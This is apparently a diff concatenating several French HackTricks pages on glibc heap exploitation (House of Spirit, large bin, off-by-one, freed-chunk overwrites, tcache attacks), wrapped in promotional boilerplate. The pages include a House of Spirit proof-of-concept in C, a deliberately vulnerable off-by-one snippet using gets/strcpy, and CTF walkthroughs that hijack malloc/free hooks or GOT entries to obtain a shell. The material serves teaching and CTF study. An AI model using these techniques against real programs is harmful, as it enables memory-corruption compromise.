* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
### Code
<details>
<summary>Maison de l'Esprit</summary>
```c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
return 0;
}
```
</details>
### Objectif
* Être capable d'ajouter une adresse dans le tcache / fast bin afin de pouvoir l'allouer ultérieurement
### Exigences
* Cette attaque nécessite qu'un attaquant soit capable de créer quelques faux chunks rapides indiquant correctement leur taille, puis de pouvoir libérer le premier faux chunk pour qu'il soit placé dans le bin.
### Attaque
* Créer des faux chunks qui contournent les vérifications de sécurité : vous aurez besoin de 2 faux chunks indiquant essentiellement dans les bonnes positions les bonnes tailles
* Trouver un moyen de libérer le premier faux chunk pour qu'il soit placé dans le fast ou le tcache bin, puis l'allouer pour écraser cette adresse
**Le code de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **est excellent pour comprendre l'attaque.** Bien que ce schéma du code la résume assez bien :
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
```
{% hint style="info" %}
Notez qu'il est nécessaire de créer le deuxième chunk afin de contourner certaines vérifications de cohérence.
{% endhint %}
## Exemples
* CTF [https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
* **Libc infoleak**: Via un débordement, il est possible de modifier un pointeur pour pointer vers une adresse GOT afin de divulguer une adresse libc via l'action de lecture du CTF.
* **House of Spirit**: En abusant d'un compteur qui compte le nombre de "fusils", il est possible de générer une fausse taille du premier faux chunk, puis en abusant d'un "message", il est possible de falsifier la deuxième taille d'un chunk et enfin en abusant d'un débordement, il est possible de modifier un pointeur qui va être libéré pour que notre premier faux chunk soit libéré. Ensuite, nous pouvons l'allouer et à l'intérieur se trouvera l'adresse où est stocké le "message". Ensuite, il est possible de faire pointer ceci vers l'entrée `scanf` dans la table GOT, afin que nous puissions la remplacer par l'adresse de `system`.\
La prochaine fois que `scanf` est appelé, nous pouvons envoyer l'entrée `"/bin/sh"` et obtenir un shell.
## Références
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,78 @@
# Attaque Large Bin
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
Pour plus d'informations sur ce qu'est un grand bac, consultez cette page :
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
Il est possible de trouver un excellent exemple dans [**how2heap - attaque de grand bac**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
Fondamentalement, ici vous pouvez voir comment, dans la dernière version "actuelle" de glibc (2.35), il n'est pas vérifié : **`P->bk_nextsize`** permettant de modifier une adresse arbitraire avec la valeur d'un morceau de grand bac si certaines conditions sont remplies.
Dans cet exemple, vous pouvez trouver les conditions suivantes :
* Un gros morceau est alloué
* Un gros morceau plus petit que le premier mais dans le même index est alloué
* Doit être plus petit pour aller en premier dans le bac
* (Un morceau pour empêcher la fusion avec le morceau supérieur est créé)
* Ensuite, le premier gros morceau est libéré et un nouveau morceau plus grand que lui est alloué -> Le morceau 1 va dans le grand bac
* Ensuite, le deuxième gros morceau est libéré
* Maintenant, la vulnérabilité : L'attaquant peut modifier `chunk1->bk_nextsize` en `[cible-0x20]`
* Ensuite, un morceau plus grand que le morceau 2 est alloué, donc le morceau 2 est inséré dans le grand bac en écrasant l'adresse `chunk1->bk_nextsize->fd_nextsize` avec l'adresse du morceau 2
{% hint style="success" %}
Il existe d'autres scénarios potentiels, l'essentiel est d'ajouter au grand bac un morceau qui est **plus petit** qu'un morceau X actuel dans le bac, donc il doit être inséré juste avant dans le bac, et nous devons être en mesure de modifier **`bk_nextsize`** de X car c'est là que l'adresse du morceau plus petit sera écrite.
{% endhint %}
Voici le code pertinent de malloc. Des commentaires ont été ajoutés pour mieux comprendre comment l'adresse a été écrasée :
{% code overflow="wrap" %}
```c
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
```
{% endcode %}
Cela pourrait être utilisé pour **écraser la variable globale `global_max_fast`** de libc pour ensuite exploiter une attaque de fast bin avec des chunks plus grands.
Vous pouvez trouver une autre excellente explication de cette attaque sur [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin\_attack/largebin\_explanation0/index.html).
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,124 @@
# Débordement d'un octet
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
Avoir simplement accès à un débordement d'un octet permet à un attaquant de modifier le bit `pre_in_use` du chunk suivant et comme le chunk actuel ne sera pas utilisé, la fin du chunk devient l'information de métadonnées de taille du chunk précédent.\
Cela permet de manipuler quels chunks sont effectivement libérés, générant potentiellement un chunk contenant un autre chunk légitime.
Il existe 2 types de vulnérabilités de débordement d'un octet :
* Octet arbitraire : Cela permet de remplacer cet octet par n'importe quelle valeur
* Null off by one : Ce type permet de remplacer cet octet uniquement par 0x00
* Un exemple courant de cette vulnérabilité peut être observé dans le code suivant où le comportement de strlen et strcpy est incohérent, ce qui permet de définir un octet 0x00 au début du chunk suivant.
<details>
<summary>Null off by one</summary>
```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}
```
</details>
Parmi d'autres vérifications, maintenant chaque fois qu'un morceau est libéré, la taille précédente est comparée avec la taille configurée dans les métadonnées du morceau, rendant cette attaque assez complexe à partir de la version 2.28.
### Exemple de code:
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
* Cette attaque ne fonctionne plus en raison de l'utilisation de Tcaches.
* De plus, si vous essayez de l'exploiter en utilisant des morceaux plus grands (donc les tcaches ne sont pas impliqués), vous obtiendrez l'erreur : `malloc(): invalid next size (unsorted)`
### Objectif
* Faire en sorte qu'un morceau soit contenu à l'intérieur d'un autre morceau de sorte que l'accès en écriture sur ce deuxième morceau permette de remplacer le premier contenu
### Exigences
* Débordement d'un octet pour modifier les informations de métadonnées de taille précédente
### Attaque
* 3 morceaux de mémoire (a, b, c) sont réservés l'un après l'autre. Ensuite, le morceau du milieu est libéré. Le premier contient une vulnérabilité de débordement d'un octet et l'attaquant l'exploite avec un 0x00 (si l'octet précédent était 0x10, cela ferait en sorte que le morceau du milieu indique qu'il est plus petit de 0x10 qu'il ne l'est vraiment).
* Ensuite, 2 morceaux plus petits sont alloués dans le morceau du milieu libéré (b), cependant, comme `b + b->size` n'actualise jamais le morceau c parce que l'adresse pointée est plus petite qu'elle ne devrait l'être.
* Ensuite, b1 et c sont libérés. Comme `c - c->prev_size` pointe toujours vers b (maintenant b1), les deux sont consolidés en un seul morceau. Cependant, b2 est toujours à l'intérieur, entre b1 et c.
* Enfin, un nouveau malloc est effectué pour récupérer cette zone mémoire qui va en fait contenir b2, permettant au propriétaire du nouveau malloc de contrôler le contenu de b2.
Cette image explique parfaitement l'attaque :
<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
## Autres exemples et références
* [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
* [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks)
* Il est possible d'exploiter un débordement d'un octet pour divulguer une adresse du tas car l'octet 0x00 de la fin d'une chaîne est écrasé par le champ suivant.
* L'écriture arbitraire est obtenue en exploitant le débordement d'un octet pour faire pointer le pointeur vers un autre endroit où une fausse structure avec de faux pointeurs sera construite. Ensuite, il est possible de suivre le pointeur de cette structure pour obtenir une écriture arbitraire.
* L'adresse de la libc est divulguée car si le tas est étendu en utilisant mmap, la mémoire allouée par mmap a un décalage fixe par rapport à la libc.
* Enfin, l'écriture arbitraire est exploitée pour écrire dans l'adresse de \_\_free\_hook avec un gadget unique.
* [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb)
* Il y a une vulnérabilité NULL off by one dans la fonction `getline` qui lit les lignes d'entrée utilisateur. Cette fonction est utilisée pour lire la "clé" du contenu et non le contenu.
* Dans l'analyse, 5 morceaux initiaux sont créés :
* morceau1 (0x200)
* morceau2 (0x50)
* morceau5 (0x68)
* morceau3 (0x1f8)
* morceau4 (0xf0)
* défense du morceau (0x400) pour éviter la consolidation avec le morceau supérieur
* Ensuite, les morceaux 1, 5 et 3 sont libérés, donc :
* ```python
[ 0x200 Morceau 1 (libre) ] [ 0x50 Morceau 2 ] [ 0x68 Morceau 5 (libre) ] [ 0x1f8 Morceau 3 (libre) ] [ 0xf0 Morceau 4 ] [ 0x400 Morceau de défense ]
```
* Ensuite, en abusant du morceau3 (0x1f8), le débordement d'un octet nul est exploité en écrivant la prev\_size à `0x4e0`.
* Remarquez comment les tailles des morceaux initialement alloués 1, 2, 5 et 3 plus les en-têtes de 4 de ces morceaux équivalent à `0x4e0` : `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
* Ensuite, le morceau 4 est libéré, générant un morceau qui consomme tous les morceaux jusqu'au début :
* ```python
[ 0x4e0 Morceau 1-2-5-3 (libre) ] [ 0xf0 Morceau 4 (corrompu) ] [ 0x400 Morceau de défense ]
```
* ```python
[ 0x200 Morceau 1 (libre) ] [ 0x50 Morceau 2 ] [ 0x68 Morceau 5 (libre) ] [ 0x1f8 Morceau 3 (libre) ] [ 0xf0 Morceau 4 ] [ 0x400 Morceau de défense ]
```
* Ensuite, `0x200` octets sont alloués remplissant le morceau 1 original
* Et encore 0x200 octets sont alloués et le morceau2 est détruit et donc il n'y a pas de fuite et cela ne fonctionne pas ? Peut-être que cela ne devrait pas être fait
* Ensuite, il alloue un autre morceau avec 0x58 "a" (écrasant le morceau2 et atteignant le morceau5) et modifie le `fd` du morceau de fast bin de chunk5 en le pointant vers `__malloc_hook`
* Ensuite, un morceau de 0x68 est alloué de sorte que le faux morceau de fast bin dans `__malloc_hook` soit le morceau de fast bin suivant
* Enfin, un nouveau morceau de fast bin de 0x68 est alloué et `__malloc_hook` est écrasé avec une adresse `one_gadget`
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
D'autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

View file

@ -0,0 +1,47 @@
# Écrasement d'un chunk libéré
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
Plusieurs des techniques d'exploitation de la heap proposées nécessitent de pouvoir écraser des pointeurs à l'intérieur de chunks libérés. Le but de cette page est de résumer les vulnérabilités potentielles qui pourraient accorder cet accès :
### Utilisation simple après libération
S'il est possible pour l'attaquant de **écrire des informations dans un chunk libéré**, il pourrait en abuser pour écraser les pointeurs nécessaires.
### Double libération
Si l'attaquant peut **`libérer` deux fois le même chunk** (libérer d'autres chunks entre potentiellement) et le faire être **2 fois dans le même bin**, il serait possible pour l'utilisateur de **allouer le chunk plus tard**, **écrire les pointeurs nécessaires** puis **le réallouer** déclenchant les actions de l'allocation du chunk (par ex. attaque de fast bin, attaque de tcache...)
### Débordement de la heap
Il pourrait être possible de **déborder un chunk alloué ayant ensuite un chunk libéré** et de modifier certains en-têtes/pointeurs de celui-ci.
### Débordement de 1
Dans ce cas, il serait possible de **modifier la taille** du chunk suivant en mémoire. Un attaquant pourrait en abuser pour **faire en sorte qu'un chunk alloué ait une taille plus grande**, puis le **`libérer`**, faisant que le chunk soit **ajouté à un bin d'une taille différente** (plus grande), puis allouer la **taille falsifiée**, et l'attaque aura accès à un **chunk avec une taille plus grande** que ce qu'elle est réellement, **accordant ainsi un débordement de la heap** (vérifiez la section précédente).
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

View file

@ -0,0 +1,66 @@
# Attaque Tcache Bin
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
Pour plus d'informations sur ce qu'est un tcache bin, consultez cette page :
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
Tout d'abord, notez que le Tcache a été introduit dans la version 2.26 de glibc.
L'attaque **Tcache** proposée dans la [**page guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) est très similaire à l'attaque fast bin où le but est de remplacer le pointeur vers le chunk suivant dans le bin à l'intérieur d'un chunk libéré par une adresse arbitraire afin de **allouer cette adresse spécifique et potentiellement écraser des pointeurs** par la suite.
Cependant, de nos jours, si vous exécutez le code mentionné, vous obtiendrez l'erreur : **`malloc(): unaligned tcache chunk detected`**. Il est donc nécessaire d'écrire une adresse alignée dans le nouveau pointeur (ou d'exécuter suffisamment de fois le binaire pour que l'adresse écrite soit effectivement alignée).
### Attaque des index Tcache
Il est généralement possible de trouver au début du tas un chunk contenant la **quantité de chunks par index** à l'intérieur du tcache et l'adresse de la **tête du chunk de chaque index tcache**. Si, pour une raison quelconque, il est possible de modifier ces informations, il serait possible de **faire pointer la tête du chunk de certains index vers une adresse souhaitée** (comme le crochet malloc) pour ensuite allouer un chunk de la taille de l'index et écraser le contenu du crochet malloc dans ce cas.
## Exemples
* CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html)
* **Fuite d'informations libc** : Il est possible de remplir les tcaches, d'ajouter un chunk dans la liste non triée, de vider le tcache et de **ré-allouer le chunk de la liste non triée** en ne remplaçant que les 8 premiers octets, laissant la **deuxième adresse vers libc du chunk intacte pour que nous puissions la lire**.
* **Attaque Tcache** : Le binaire est vulnérable à un débordement de tas de 1B. Cela sera exploité pour modifier l'**en-tête de taille** d'un chunk alloué pour le rendre plus grand. Ensuite, ce chunk sera **libéré**, ajouté au tcache des chunks de la fausse taille. Ensuite, nous allouerons un chunk avec la taille falsifiée, et le chunk précédent sera **retourné en sachant que ce chunk était en réalité plus petit** et cela ouvre la possibilité de **écraser le chunk suivant en mémoire**.\
Nous allons exploiter cela pour **écraser le pointeur FD du chunk suivant** pour pointer vers **`malloc_hook`**, donc il est possible d'allouer 2 pointeurs : d'abord le pointeur légitime que nous venons de modifier, puis la deuxième allocation renverra un chunk dans **`malloc_hook`** qu'il est possible d'exploiter pour écrire un **one gadget**.
* CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html)
* **Fuite d'informations libc** : Il y a une utilisation après la libération et une double libération. Dans ce compte rendu, l'auteur a divulgué une adresse de libc en lisant l'adresse d'un chunk placé dans un petit bin (comme en le fuyant du bin non trié mais du petit bin)
* **Attaque Tcache** : Un Tcache est effectué via une **double libération**. Le même chunk est libéré deux fois, donc à l'intérieur du Tcache, le chunk pointera vers lui-même. Ensuite, il est alloué, son pointeur FD est modifié pour pointer vers le **crochet free** et ensuite il est alloué à nouveau, de sorte que le chunk suivant dans la liste sera dans le crochet free. Ensuite, cela est également alloué et il est possible d'écrire l'adresse de `system` ici, donc lorsqu'un malloc contenant `"/bin/sh"` est libéré, nous obtenons un shell.
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html)
* La principale vulnérabilité ici est la capacité de `libérer` n'importe quelle adresse dans le tas en indiquant son décalage
* **Attaque des index Tcache** : Il est possible d'allouer et de libérer un chunk d'une taille telle que lorsqu'il est stocké à l'intérieur du chunk tcache (le chunk avec les informations des bins tcache), il générera une **adresse avec la valeur 0x100**. Cela est dû au fait que le tcache stocke la quantité de chunks sur chaque bin dans des octets différents, donc un chunk dans un index spécifique génère la valeur 0x100.
* Ensuite, cette valeur ressemble à un chunk de taille 0x100. Permettant de l'exploiter en le `libérant`. Cela ajoutera cette adresse à l'index des chunks de taille 0x100 dans le tcache.
* Ensuite, en **allouant** un chunk de taille **0x100**, l'adresse précédente sera renvoyée en tant que chunk, permettant d'écraser d'autres index tcache.\
Par exemple, en mettant l'adresse du crochet malloc dans l'un d'eux et en allouant un chunk de la taille de cet index, cela permettra d'obtenir un chunk dans le crochet calloc, ce qui permet d'écrire un one gadget pour obtenir un shell.
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html)
* Même vulnérabilité qu'auparavant avec une restriction supplémentaire
* **Attaque des index Tcache** : Attaque similaire à la précédente mais en utilisant moins d'étapes en **libérant le chunk contenant les informations du tcache** afin que son adresse soit ajoutée à l'index tcache de sa taille, permettant d'allouer cette taille et d'obtenir les informations du chunk tcache en tant que chunk, ce qui permet d'ajouter le crochet free en tant qu'adresse d'un index, de l'allouer, et d'écrire un one gadget dessus.
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

View file

@ -0,0 +1,151 @@
# Attaque Unlink
<details>
